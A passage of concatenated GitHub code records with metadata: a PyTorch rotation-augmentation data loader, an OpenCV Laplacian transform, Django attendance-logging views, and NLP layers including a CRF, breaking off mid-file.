"file_ext": "py", "file_size_in_byte": 3603, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 30, "dataset": "github-code", "pt": "81", "api": [{"api_name": "threading.Thread", "line_number": 23, "usage_type": "attribute"}, {"api_name": "threading.Event", "line_number": 30, "usage_type": "call"}, {"api_name": "oled_display_mirror.main.OLED_Displayer", "line_number": 40, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QMainWindow", "line_number": 50, "usage_type": "name"}, {"api_name": "oled_display_mirror.main_ui.Ui_MainWindow", "line_number": 53, "usage_type": "call"}, {"api_name": "oled_display_mirror.main.SCT.monitors", "line_number": 62, "usage_type": "attribute"}, {"api_name": "oled_display_mirror.main.SCT", "line_number": 62, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QStatusTipEvent", "line_number": 69, "usage_type": "call"}, {"api_name": "PySide2.QtCore.QEvent.StatusTip", "line_number": 72, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore.QEvent", "line_number": 72, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QStatusTipEvent", "line_number": 74, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QApplication", "line_number": 100, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 105, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 109, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 109, "usage_type": "attribute"}]}
{"seq_id": "41324793703", "text": "import torch\nimport glob, os\nimport torch.utils.data\nfrom PIL import Image\nfrom torchvision import transforms\nimport numpy as np\nimport random\nimport pandas as pd\nfrom torch.utils.data.dataloader import default_collate\nimport torchnet as tnt\nimport torch.utils.data as data\n\ndef load_input_img(filepath):\n    img = Image.open(filepath).convert('RGB')\n    return img\nclass GenericDataset(data.Dataset):\n    def __init__(self, split=\"train\", random_sized_crop=False,\n                 fold_name=\"\", path=\"\"):\n\n        # The num_imgs_per_cats input argument specifies the number\n        # of training examples per category that would be used.\n        # This input argument was introduced in order to be able\n        # to use less annotated examples than what are available\n        # in a semi-superivsed experiment. By default all the \n        # available training examplers per category are being used.\n\n        self.random_sized_crop = random_sized_crop\n        self.mean_pix = [0.5, 0.5, 0.5]\n        self.std_pix = [0.5, 0.5, 0.5]\n        self.input_img_paths = []\n        self.img_name = []\n        self.split = split\n        self.path = path\n\n        df = pd.read_csv(os.path.join(self.path, \"train.csv\"))\n        df_to_dict = df.set_index('image_id').to_dict()\n        df_to_dict = df_to_dict['label']\n\n        self.img_label = df_to_dict\n        transforms_list =[]\n        if self.split=='train':\n            transforms_list = [\n                transforms.Resize(size=(300, 225), interpolation=Image.BILINEAR),\n                transforms.CenterCrop(224),\n                lambda x: np.asarray(x),\n            ]\n\n            with open(fold_name) as f:\n                img_name = f.readlines()\n            img_name = [x.strip() for x in img_name]\n\n            for name in img_name:\n                img_path = os.path.join(self.path, \"train_images\", name)\n                self.img_name.append(name)\n                self.input_img_paths.append(img_path)\n        \n        elif self.split=='val':\n            transforms_list = [\n                transforms.Resize(size=(300, 225), interpolation=Image.BILINEAR),\n                transforms.CenterCrop(224),\n                lambda x: np.asarray(x),\n            ]\n\n            with open(fold_name) as f:\n                img_name = f.readlines()\n            img_name = [x.strip() for x in img_name]\n\n            for name in img_name:\n                img_path = os.path.join(self.path, \"train_images\", name)\n                self.img_name.append(name)\n                self.input_img_paths.append(img_path)\n        \n        elif self.split=='test':\n            transforms_list = [\n                transforms.Resize(size=(300, 225), interpolation=Image.BILINEAR),\n                transforms.CenterCrop(224),\n                lambda x: np.asarray(x),\n            ]\n\n            with open(fold_name) as f:\n                img_name = f.readlines()\n            img_name = [x.strip() for x in img_name]\n\n            for name in img_name:\n                img_path = os.path.join(self.path, \"train_images\", name)\n                self.img_name.append(name)\n                self.input_img_paths.append(img_path)                                 \n\n        self.transform = transforms.Compose(transforms_list)\n\n\n    def __getitem__(self, index):\n        img_name = self.img_name[index]\n        img = load_input_img(self.input_img_paths[index])\n        label = self.img_label[img_name] * 4\n        img = self.transform(img)\n        return img, label , img_name       \n\n    def __len__(self):\n        return len(self.input_img_paths)\n\ndef rotate_img(img, rot):\n    if rot == 0: # 0 degrees rotation\n        return img\n    elif rot == 90: # 90 degrees rotation\n        #return np.flipud(np.transpose(img, (1,0,2)))\n        return np.rot90(np.transpose(img, (1,0,2)).copy())\n    elif rot == 180: # 90 degrees rotation\n        return np.fliplr(np.flipud(img))\n    elif rot == 270: # 270 degrees rotation / or -90\n        return np.transpose(np.flipud(img), (1,0,2))\n    else:\n        raise ValueError('rotation should be 0, 90, 180, or 270 degrees')\n\n\nclass DataLoader(object):\n    def __init__(self,\n                 dataset,\n                 batch_size=1,\n                 unsupervised=False,\n                 epoch_size=None,\n                 num_workers=0,\n                 shuffle=True):\n        self.dataset = dataset\n        self.shuffle = shuffle\n        self.epoch_size = epoch_size if epoch_size is not None else len(dataset)\n        self.batch_size = batch_size\n        self.unsupervised = unsupervised\n        self.num_workers = num_workers\n\n        mean_pix  = [0.5, 0.5, 0.5]\n        std_pix   = [0.5, 0.5, 0.5]\n        self.transform = transforms.Compose([\n            \n            transforms.ToTensor(),\n            transforms.Normalize(mean=mean_pix, std=std_pix)\n        ])\n\n    def get_iterator(self, epoch=0):\n        rand_seed = epoch * self.epoch_size\n        random.seed(rand_seed)\n        if self.unsupervised:\n            # if in unsupervised mode define a loader function that given the\n            # index of an image it returns the 4 rotated copies of the image\n            # plus the label of the rotation, i.e., 0 for 0 degrees rotation,\n            # 1 for 90 degrees, 2 for 180 degrees, and 3 for 270 degrees.\n            def _load_function(idx):\n                idx = idx % len(self.dataset)\n                img0, img0_label, img0_name = self.dataset[idx]\n                rotated_imgs = [\n                    torch.from_numpy(img0),\n                    #self.transform(img0),\n                    torch.from_numpy(np.flip(img0,axis=0).copy()),\n                    torch.from_numpy(np.flip(np.flip(img0, axis=1).copy(), 0).copy()),\n                    torch.from_numpy(np.flip(np.flip(np.flip(img0, axis=1).copy(), 0).copy().copy(), 0).copy()),\n                    #torch.from_numpy(rotate_img(img0, 180)),\n                    #torch.from_numpy(rotate_img(img0, 270))\n                    #self.transform(rotate_img(img0,  90)),\n                    #self.transform(rotate_img(img0, 180)),\n                    #self.transform(rotate_img(img0, 270))\n                ]\n                rotation_labels = torch.LongTensor([img0_label,img0_label + 1,img0_label + 2, img0_label + 3])\n                #print(\"name: \", img0_name, \" label: \", img0_label)\n                return torch.stack(rotated_imgs, dim=0), rotation_labels\n            def _collate_fun(batch):\n                batch = default_collate(batch)\n                assert(len(batch)==2)\n                batch_size, rotations, width, height, channels = batch[0].size()\n                batch[0] = batch[0].view([batch_size*rotations, channels, height, width])\n                batch[1] = batch[1].view([batch_size*rotations])\n                return batch\n        else: # supervised mode\n            # if in supervised mode define a loader function that given the\n            # index of an image it returns the image and its categorical label\n            def _load_function(idx):\n                idx = idx % len(self.dataset)\n                img, categorical_label = self.dataset[idx]\n                img = self.transform(img)\n                return img, categorical_label\n            _collate_fun = default_collate\n\n        tnt_dataset = tnt.dataset.ListDataset(elem_list=range(self.epoch_size),\n            load=_load_function)\n        data_loader = tnt_dataset.parallel(batch_size=self.batch_size,\n            collate_fn=_collate_fun, num_workers=self.num_workers,\n            shuffle=self.shuffle, drop_last=True)\n        return data_loader\n\n    def __call__(self, epoch=0):\n        return self.get_iterator(epoch)\n\n    def __len__(self):\n        return self.epoch_size / self.batch_size\n\n\"\"\"\"\n\n#dataset = GenericDataset('imagenet','train', random_sized_crop=True)\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nDATASET_PATH = \"/home/ufuk/Desktop/2020_2021_fall/BLG561E/interim_project/Cassava Leaf Disease Classification\"\nBATCH_SIZE = 8\nnum_workers = 1\n\ndataset = GenericDataset(split=\"train\", fold_name=\"folds/fold_3_train.txt\", path=DATASET_PATH)\ndataloader = DataLoader(dataset, batch_size=8, unsupervised=True)\ncounter = 0\nfor b in dataloader():\n    img, img_class = b\n    img = torch.Tensor(img.float())\n    img = img.to(device)\n    img.requires_grad = True\n    img_class = img_class.to(device)\n    img_class.requires_grad = False\n    print(img_class)\n    if counter <0:\n        break\n    counter += 1\n\"\"\"", "repo_name": "batuhanfaik/itu-cmpe", "sub_path": "Deep-Learning/interim/ss-label-augmentation/loader.py", "file_name": "loader.py", "file_ext": "py", "file_size_in_byte": 8441, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PIL.Image.open", "line_number": 14, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.utils.data.Dataset", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 16, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Resize", "line_number": 43, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 43, "usage_type": "name"}, {"api_name": "PIL.Image.BILINEAR", "line_number": 43, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 43, "usage_type": "name"}, {"api_name": "torchvision.transforms.CenterCrop", "line_number": 44, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Resize", "line_number": 59, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 59, "usage_type": "name"}, {"api_name": "PIL.Image.BILINEAR", "line_number": 59, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 59, "usage_type": "name"}, {"api_name": "torchvision.transforms.CenterCrop", "line_number": 60, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 60, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Resize", "line_number": 75, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 75, "usage_type": "name"}, {"api_name": "PIL.Image.BILINEAR", "line_number": 75, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 75, "usage_type": "name"}, {"api_name": "torchvision.transforms.CenterCrop", "line_number": 76, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 76, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Compose", "line_number": 89, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 89, "usage_type": "name"}, {"api_name": "numpy.rot90", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.fliplr", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 111, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 133, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 133, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 135, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 135, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 136, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 136, "usage_type": "name"}, {"api_name": "random.seed", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 154, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.utils.data.dataloader.default_collate", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.utils.data.dataloader.default_collate", "line_number": 180, "usage_type": "name"}, {"api_name": "torchnet.dataset.ListDataset", "line_number": 182, "usage_type": "call"}, {"api_name": "torchnet.dataset", "line_number": 182, "usage_type": "attribute"}]}
{"seq_id": "6589364306", "text": "import random\nimport cv2 as cv\nfrom tools.file_tools import ImageTools\nfrom tranforms.ITransform import ITransform\n\n\nclass Laplacian(ITransform):\n    file_tool: ImageTools\n\n    def __init__(self, file_tool, random_apply):\n        super(Laplacian, self).__init__()\n        self.file_tool = file_tool\n        self.random_apply = random_apply\n        self.image_apply = []\n\n    def apply(self):\n        for index_sample, sample_dir in enumerate(self.file_tool.list_samples_dir):\n            apply = []\n            for index_image, name_image in enumerate(self.file_tool.list_items_from(sample_dir)):\n                image = self.file_tool.load(name_image)\n                if not self.random_apply is None:\n                    if round(random.random(), 2) <= self.random_apply:\n                        final_image = cv.Laplacian(image, cv.CV_64F)\n                        apply.append(1)\n                    else:\n                        final_image = image\n                        apply.append(0)\n                else:\n                    final_image = cv.Laplacian(image, cv.CV_64F)\n                    apply.append(1)\n                self.file_tool.save(name_image, final_image)\n            self.image_apply.append(apply)\n\n    def un_apply(self):\n        pass\n\n    def info(self):\n        return {'type': \"Laplacian\",\n                'apply_in': self.image_apply}\n", "repo_name": "Ignacio2M/_TFG", "sub_path": "tranforms/Laplacian.py", "file_name": "Laplacian.py", "file_ext": "py", "file_size_in_byte": 1362, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tranforms.ITransform.ITransform", "line_number": 7, "usage_type": "name"}, {"api_name": "tools.file_tools.ImageTools", "line_number": 8, "usage_type": "name"}, {"api_name": "random.random", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.Laplacian", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 23, "usage_type": "attribute"}, {"api_name": "cv2.Laplacian", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 29, "usage_type": "attribute"}]}
{"seq_id": "14796591888", "text": "from django.shortcuts import render\nfrom .models import AttendanceCode, AttendanceCodeForm, AttendanceLog, AttendanceLogForm\nfrom django.views.generic import CreateView, TemplateView, ListView\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.shortcuts import render\nfrom keaclass.models import Class\nfrom student.models import Student\nfrom subject.models import Subject, StudentHasSubject\nfrom datetime import date\nfrom course.models import Course\nfrom school.models import School\nimport geopy.distance\nfrom datetime import datetime\nimport pytz\nfrom .calls import get_statstic, get_statstic_class\n# from django.views.decorators.csrf import csrf_protect, csrf_exempt\n\n\n# Create your views here.\n\n# CreateView\nclass AttendanceCodeFormView(LoginRequiredMixin, CreateView):\n    model = AttendanceCode\n    template_name = \"attendancecode/Createattendancecode.html\"\n    form_class = AttendanceCodeForm\n    success_url = \"/attendancecode/teachersucces/\"\n\n    # Checks if data input is valid and saves object\n\n    def form_valid(self, form):\n        obj = form.save(commit=False)\n        obj.user = self.request.user\n        tz_EU = pytz.timezone('Europe/Copenhagen')\n        now = datetime.now(tz_EU)\n        current_time = now.strftime(\"%H:%M:%S\")\n        print(\"Current Time =\", current_time)\n        obj.time = current_time\n        obj.save()\n        return super().form_valid(form)\n\n\nclass AttendanceLogFormView(LoginRequiredMixin, CreateView):\n    model = AttendanceLog\n    template_name = \"attendancecode/Createattendancelog.html\"\n    form_class = AttendanceLogForm\n    success_url = \"/attendancecode/success/\"\n\n    # Checks if data input is valid and saves object\n    def form_valid(self, form):\n        obj = form.save(commit=False)\n        user = self.request.user\n        obj.date = date.today()\n        getClass = Class.objects.get(name=obj.keaclass)\n        getCourse = Course.objects.get(name=getClass.Course_name)\n        getLocation = School.objects.get(id=getCourse.location_id)\n        coords_1 = (getLocation.lat, getLocation.long)\n        coords_2 = (obj.lat, obj.long)\n        # check location and that student goes in the class HUSK AT ÆNDRE\n        if (geopy.distance.distance(coords_1, coords_2).km < 0.5) and Student.objects.get(\n                username=user.username, Class_id=obj.keaclass):\n            # check log is a code with correct info and correct date and that\n            # student has subject + code is active\n            if AttendanceCode.objects.filter(\n                    code=obj.attendanceCode,\n                    keaclass_id=obj.keaclass,\n                    subject_id=obj.subject_id,\n                    date=obj.date,\n                    isActive=\"True\") and StudentHasSubject.objects.get(\n                    student_name_id=user.username,\n                    subject_name_id=obj.subject_id):\n                obj.username_fk = user.username\n                obj.save()\n                return super().form_valid(form)\n            else:\n                return render(self.request, './attendancecode/error.html')\n        else:\n            return render(self.request, './attendancecode/error.html')\n\n\nclass Attendancelogsuccess(LoginRequiredMixin, TemplateView):\n    template_name = \"./attendancecode/studentregistersucces.html\"\n\n\nclass Attendancecodesuccess(LoginRequiredMixin, TemplateView):\n    template_name = \"./attendancecode/teacherregistersucces.html\"\n\n\nclass AttendanceList(LoginRequiredMixin, ListView):\n    model = AttendanceLog\n    template_name = \"./attendancecode/showattendance.html\"\n\n    def get_queryset(self):\n        class_val = self.request.GET.get('class')\n        subject_val = self.request.GET.get('subject')\n        user = self.request.user\n        if class_val is not None and subject_val is not None:\n            if subject_val == \"None\" or subject_val == \"\":\n                return get_statstic_class(class_val)\n            else:\n                sub = Subject.objects.get(name=subject_val).id\n                return get_statstic(class_val, sub)\n        else:\n            return AttendanceLog.objects.none()\n\n    def get_context_data(self, **kwargs):\n        context = super(AttendanceList, self).get_context_data(**kwargs)\n        context['class'] = self.request.GET.get('class')\n        context['subject'] = self.request.GET.get('subject')\n        return context\n\n\ndef loginsuccess(request):\n    return render(request, \"attendancecode/Loginsuccess.html\")\n\n\ndef get_stats(request, keaclass, subject):\n    get_statstic(\"SDi21\", 2)\n    return render(request, \"attendancecode/stat.html\")\n", "repo_name": "Nadiahansen15/SkoleProtocol", "sub_path": "attendanceCode/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4571, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 22, "usage_type": "name"}, {"api_name": "django.views.generic.CreateView", "line_number": 22, "usage_type": "name"}, {"api_name": "models.AttendanceCode", "line_number": 23, "usage_type": "name"}, {"api_name": "models.AttendanceCodeForm", "line_number": 25, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 34, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 42, "usage_type": "name"}, {"api_name": "django.views.generic.CreateView", "line_number": 42, "usage_type": "name"}, {"api_name": "models.AttendanceLog", "line_number": 43, "usage_type": "name"}, {"api_name": "models.AttendanceLogForm", "line_number": 45, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 52, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 52, "usage_type": "name"}, {"api_name": "keaclass.models.Class.objects.get", "line_number": 53, "usage_type": "call"}, {"api_name": "keaclass.models.Class.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "keaclass.models.Class", "line_number": 53, "usage_type": "name"}, {"api_name": "course.models.Course.objects.get", "line_number": 54, "usage_type": "call"}, {"api_name": "course.models.Course.objects", "line_number": 54, "usage_type": "attribute"}, {"api_name": "course.models.Course", "line_number": 54, "usage_type": "name"}, {"api_name": "school.models.School.objects.get", "line_number": 55, "usage_type": "call"}, {"api_name": "school.models.School.objects", "line_number": 55, "usage_type": "attribute"}, {"api_name": "school.models.School", "line_number": 55, "usage_type": "name"}, {"api_name": "geopy.distance.distance.distance", "line_number": 59, "usage_type": "call"}, {"api_name": "geopy.distance.distance", "line_number": 59, "usage_type": "attribute"}, {"api_name": "geopy.distance", "line_number": 59, "usage_type": "name"}, {"api_name": "student.models.Student.objects.get", "line_number": 59, "usage_type": "call"}, {"api_name": "student.models.Student.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "student.models.Student", "line_number": 59, "usage_type": "name"}, {"api_name": "models.AttendanceCode.objects.filter", "line_number": 63, "usage_type": "call"}, {"api_name": "models.AttendanceCode.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "models.AttendanceCode", "line_number": 63, "usage_type": "name"}, {"api_name": "subject.models.StudentHasSubject.objects.get", "line_number": 68, "usage_type": "call"}, {"api_name": "subject.models.StudentHasSubject.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "subject.models.StudentHasSubject", "line_number": 68, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 75, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 77, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 80, "usage_type": "name"}, {"api_name": "django.views.generic.TemplateView", "line_number": 80, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 84, "usage_type": "name"}, {"api_name": "django.views.generic.TemplateView", "line_number": 84, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 88, "usage_type": "name"}, {"api_name": "django.views.generic.ListView", "line_number": 88, "usage_type": "name"}, {"api_name": "models.AttendanceLog", "line_number": 89, "usage_type": "name"}, {"api_name": "calls.get_statstic_class", "line_number": 98, "usage_type": "call"}, {"api_name": "subject.models.Subject.objects.get", "line_number": 100, "usage_type": "call"}, {"api_name": "subject.models.Subject.objects", "line_number": 100, "usage_type": "attribute"}, {"api_name": "subject.models.Subject", "line_number": 100, "usage_type": "name"}, {"api_name": "calls.get_statstic", "line_number": 101, "usage_type": "call"}, {"api_name": "models.AttendanceLog.objects.none", "line_number": 103, "usage_type": "call"}, {"api_name": "models.AttendanceLog.objects", "line_number": 103, "usage_type": "attribute"}, {"api_name": "models.AttendanceLog", "line_number": 103, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 113, "usage_type": "call"}, {"api_name": "calls.get_statstic", "line_number": 117, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 118, "usage_type": "call"}]}
{"seq_id": "74060680252", "text": "from collections import defaultdict\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.init as I\nimport torch.nn.utils.rnn as R\nimport torch.nn.functional as F\n\nimport re\nimport logging\nimport constant as C\n\nlogger = logging.getLogger()\n\n\ndef log_sum_exp(tensor, dim=0):\n    \"\"\"LogSumExp operation.\"\"\"\n    m, _ = torch.max(tensor, dim)\n    m_exp = m.unsqueeze(-1).expand_as(tensor)\n    return m + torch.log(torch.sum(torch.exp(tensor - m_exp), dim))\n\n\ndef sequence_mask(lens, max_len=None):\n    batch_size = lens.size(0)\n\n    if max_len is None:\n        max_len = lens.max().item()\n\n    ranges = torch.arange(0, max_len).long()\n    ranges = ranges.unsqueeze(0).expand(batch_size, max_len)\n\n    if lens.data.is_cuda:\n        ranges = ranges.cuda()\n\n    lens_exp = lens.unsqueeze(1).expand_as(ranges)\n    mask = ranges < lens_exp\n\n    return mask\n\n\ndef load_embedding(path: str,\n                   dimension: int,\n                   vocab: dict = None,\n                   skip_first_line: bool = True,\n                   ):\n    logger.info('Scanning embedding file: {}'.format(path))\n\n    embed_vocab = set()\n    lower_mapping = {}  # lower case - original\n    digit_mapping = {}  # lower case + replace digit with 0 - original\n    digit_pattern = re.compile('\\d')\n    with open(path, 'r', encoding='utf-8') as r:\n        if skip_first_line:\n            r.readline()\n        for line in r:\n            try:\n                token = line.split(' ')[0].strip()\n                if token:\n                    embed_vocab.add(token)\n                    token_lower = token.lower()\n                    token_digit = re.sub(digit_pattern, '0', token_lower)\n                    if token_lower not in lower_mapping:\n                        lower_mapping[token_lower] = token\n                    if token_digit not in digit_mapping:\n                        digit_mapping[token_digit] = token\n            except UnicodeDecodeError:\n                continue\n\n    token_mapping = defaultdict(list)  # embed token - vocab token\n    for token in vocab:\n        token_lower = token.lower()\n        token_digit = re.sub(digit_pattern, '0', token_lower)\n        if token in embed_vocab:\n            token_mapping[token].append(token)\n        elif token_lower in lower_mapping:\n            token_mapping[lower_mapping[token_lower]].append(token)\n        elif token_digit in digit_mapping:\n            token_mapping[digit_mapping[token_digit]].append(token)\n\n    logger.info('Loading embeddings')\n    weight = [[.0] * dimension for _ in range(len(vocab))]\n    with open(path, 'r', encoding='utf-8') as r:\n        if skip_first_line:\n            r.readline()\n        for line in r:\n            try:\n                segs = line.rstrip().split(' ')\n                token = segs[0]\n                if token in token_mapping:\n                    vec = [float(v) for v in segs[1:]]\n                    for t in token_mapping.get(token):\n                        weight[vocab[t]] = vec.copy()\n            except UnicodeDecodeError:\n                continue\n            except ValueError:\n                continue\n    embed = nn.Embedding(\n        len(vocab),\n        dimension,\n        padding_idx=C.PAD_INDEX,\n        sparse=True,\n        _weight=torch.FloatTensor(weight)\n    )\n    return embed\n\n\nclass Linear(nn.Linear):\n    def __init__(self,\n                 in_features: int,\n                 out_features: int,\n                 bias: bool = True):\n        super(Linear, self).__init__(in_features, out_features, bias=bias)\n        I.orthogonal_(self.weight)\n\n\nclass Linears(nn.Module):\n    def __init__(self,\n                 in_features: int,\n                 out_features: int,\n                 hiddens: list,\n                 bias: bool = True,\n                 activation: str = 'tanh'):\n        super(Linears, self).__init__()\n        assert len(hiddens) > 0\n\n        self.in_features = in_features\n        self.out_features = self.output_size = out_features\n\n        in_dims = [in_features] + hiddens[:-1]\n        self.linears = nn.ModuleList([Linear(in_dim, out_dim, bias=bias)\n                                      for in_dim, out_dim\n                                      in zip(in_dims, hiddens)])\n        self.output_linear = Linear(hiddens[-1], out_features, bias=bias)\n        self.activation = getattr(F, activation)\n\n    def forward(self, inputs):\n        linear_outputs = inputs\n        for linear in self.linears:\n            linear_outputs = linear(linear_outputs)\n            linear_outputs = self.activation(linear_outputs)\n        return self.output_linear(linear_outputs)\n\n\nclass Highway(nn.Module):\n    def __init__(self,\n                 size: int,\n                 layer_num: int = 1,\n                 activation: str = 'relu'):\n        super(Highway, self).__init__()\n        self.size = self.output_size = size\n        self.layer_num = layer_num\n        self.activation = getattr(F, activation)\n        self.non_linear = nn.ModuleList([Linear(size, size)\n                                         for _ in range(layer_num)])\n        self.gate = nn.ModuleList([Linear(size, size)\n                                   for _ in range(layer_num)])\n\n    def forward(self, inputs):\n        for layer in range(self.layer_num):\n            gate = F.sigmoid(self.gate[layer](inputs))\n            non_linear = self.activation(self.non_linear[layer](inputs))\n            inputs = gate * non_linear + (1 - gate) * inputs\n        return inputs\n\n\nclass LSTM(nn.LSTM):\n    def __init__(self,\n                 input_size: int,\n                 hidden_size: int,\n                 num_layers: int = 1,\n                 bias: bool = True,\n                 batch_first: bool = False,\n                 dropout: float = 0,\n                 bidirectional: bool = False,\n                 forget_bias: float = 0\n                 ):\n        super(LSTM, self).__init__(input_size=input_size,\n                                   hidden_size=hidden_size,\n                                   num_layers=num_layers,\n                                   bias=bias,\n                                   batch_first=batch_first,\n                                   dropout=dropout,\n                                   bidirectional=bidirectional)\n        self.output_size = hidden_size * 2 if bidirectional else hidden_size\n        self.forget_bias = forget_bias\n\n    def initialize(self):\n        for n, p in self.named_parameters():\n            if 'weight' in n:\n                I.orthogonal_(p)\n            elif 'bias' in n:\n                bias_size = p.size(0)\n                p[bias_size // 4:bias_size // 2].fill_(self.forget_bias)\n\n\nclass CharCNN(nn.Module):\n\n    def __init__(self, embedding_num, embedding_dim, filters):\n        super(CharCNN, self).__init__()\n        self.output_size = sum([x[1] for x in filters])\n        self.embedding = nn.Embedding(embedding_num,\n                                      embedding_dim,\n                                      padding_idx=0,\n                                      sparse=True)\n        self.convs = nn.ModuleList([nn.Conv2d(1, x[1], (x[0], embedding_dim))\n                                    for x in filters])\n\n    def forward(self, inputs):\n        inputs_embed = self.embedding(inputs)\n        inputs_embed = inputs_embed.unsqueeze(1)\n        conv_outputs = [F.relu(conv(inputs_embed)).squeeze(3)\n                        for conv in self.convs]\n        max_pool_outputs = [F.max_pool1d(i, i.size(2)).squeeze(2)\n                            for i in conv_outputs]\n        outputs = torch.cat(max_pool_outputs, 1)\n        return outputs\n\n\nclass CRF(nn.Module):\n    def __init__(self, label_size):\n        super(CRF, self).__init__()\n\n        self.label_size = label_size\n        self.start = self.label_size - 2\n        self.end = self.label_size - 1\n        transition = torch.randn(self.label_size, self.label_size)\n        self.transition = nn.Parameter(transition)\n        self.initialize()\n\n    def initialize(self):\n        self.transition.data[:, self.end] = -100.0\n        self.transition.data[self.start, :] = -100.0\n\n    def pad_logits(self, logits):\n        # lens = lens.data\n        batch_size, seq_len, label_num = logits.size()\n        # pads = Variable(logits.data.new(batch_size, seq_len, 2).fill_(-1000.0),\n        #                 requires_grad=False)\n        pads = logits.new_full((batch_size, seq_len, 2), -1000.0,\n                               requires_grad=False)\n        logits = torch.cat([logits, pads], dim=2)\n        return logits\n\n    def calc_binary_score(self, labels, lens):\n        batch_size, seq_len = labels.size()\n\n        # labels_ext = Variable(labels.data.new(batch_size, seq_len + 2))\n        labels_ext = labels.new_empty((batch_size, seq_len + 2))\n        labels_ext[:, 0] = self.start\n        labels_ext[:, 